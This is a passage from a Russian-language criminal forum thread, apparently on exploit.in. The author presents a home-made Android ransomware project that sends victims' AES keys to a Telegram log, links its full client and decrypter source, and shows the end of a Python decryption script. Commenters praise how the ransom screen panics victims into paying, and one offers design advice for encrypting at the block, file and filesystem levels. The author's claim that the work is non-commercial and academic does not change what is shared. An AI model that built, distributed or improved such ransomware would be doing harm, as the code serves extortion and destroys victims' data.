 decrypted_images_directory = 'DecryptedImages'

 key = load_aes_key(key_file)
 if key is None:
  print("Err AES")
  return

 process_encrypted_files(encoded_images_directory, decrypted_images_directory, key)

if __name__ == "__main__":
 main()

aes_key.txt - ваш AES ключ из лога в Telegram.
EncodedImages - исходные шифр данные.
DecryptedImages - тут будут на выходе дешифрованные данные.

Спойлер: ошибочка красивая
Был небольшой баг где после шифрования и дешифрования файлы бились и выходила такая красота -


Спасибо за внимание!

Надеюсь, вам было интересно. В завершение хочу еще раз подчеркнуть, что это не коммерческий проект.
Я не получаю с него никакой выгоды и осуждаю подобную деятельность.

Если у вас возникли вопросы или дополнения, или требуется помощь, буду рад ответить и помочь.


:smile10: Source Code отправил через exploit.send если ссылка умрет то отпишите -

https://send.exploit.in/download/673fcc25e69e938d/#u81ualjTVHjwIj9nhuAgyg - Python Decrypt - Source Code

https://send.exploit.in/download/90df07a97129c4e2/#rhR89Iw0jZ3yV6xf0C9cbw - Java A Client - Source Code


NMZ


Вложения​


  • Decrypt - Py.zip
    5 КБ · Просмотры: 21
 
Replacing media with a drawable image is what's gonna push the victim into a panic mode and squeeze those bucks out. Clever psychologically and very funny.)
 
Ну не рисуйте Вы на заглушках, не упоминайте в логах от рансома в телегу, ну подхватят же сейчас петухеи из СМИ и потащат в массы нездравую молву о форуме.
Пишите если о рансоме, пишите о рансоме и не отожествяйте свое творчество с форумом где рансом вне закона.
 
waahoo сказал(а):
Ну не рисуйте Вы на заглушках, не упоминайте в логах от рансома в телегу, ну подхватят же сейчас петухеи из СМИ и потащат в массы нездравую молву о форуме.
Нажмите, чтобы раскрыть...
С одной стороны ты прав. С другой - это же чисто технический и академический материал, не имеющий ничего общего с реальным ransomware, необходим для обучения. Хотя журналистам часто пофиг, лишь бы написать бред погромче.
 
admin сказал(а):
С одной стороны ты прав. С другой - это же чисто технический и академический материал, не имеющий ничего общего с реальным ransomware, необходим для обучения. Хотя журналистам часто пофиг, лишь бы написать бред погромче.
Нажмите, чтобы раскрыть...
Наверное надо бы удалить упоминания просто тогда скопировать это на другой форум как это было с моей статьей о seed stealer было бы проще а о остальном не подумал. моя ошибка
 
Можете написать своих идей дня новых статей на форум.
Любые идеи которые по вашему мнению будут интересны.
 
Ну раз тебе понравилось то еще подскажу.
У тебя в криптовании есть разные уровни абстракции
Криптование блока сырых данных - это про то как криптануть массив байт.
Криптование файла - здесь могут быть условия что мы например не криптуем файл целиком а только его часть, здесь же хидеры и такое прочее.
Криптование файловой системы - здесь могут условия на количество файлов, в каком порядке их криптовать и тд.
Это разные уровни и смешивать их не нужно, а значит ты создаешь объекты инкапсулирующие правила для каждого уровня отдельно и можешь ими отдельно манипулировать, этим легче управлять и сразу ясно к чему относится BLOCK_SIZE потому что видно в каком объекте правил он находится.
И вот у тебя уже иерархично
Объект правил криптования фс агрегирует себе объект правил криптования файла, а то агрегирует в себе объект правил криптования сырых данных.
Декомпозируй бро.
 
Отличная статья! Вопрос по реализации: как ты обрабатываешь ситуации, если размеры данных для шифрования в изображении не кратны размеру блока AES (16 байт)? Не приведет ли это к недоиспользованию ключа, и если так, как бы ты предложил оптимизировать шифрование, чтобы минимизировать потери данных и повысить безопасность?
 
Top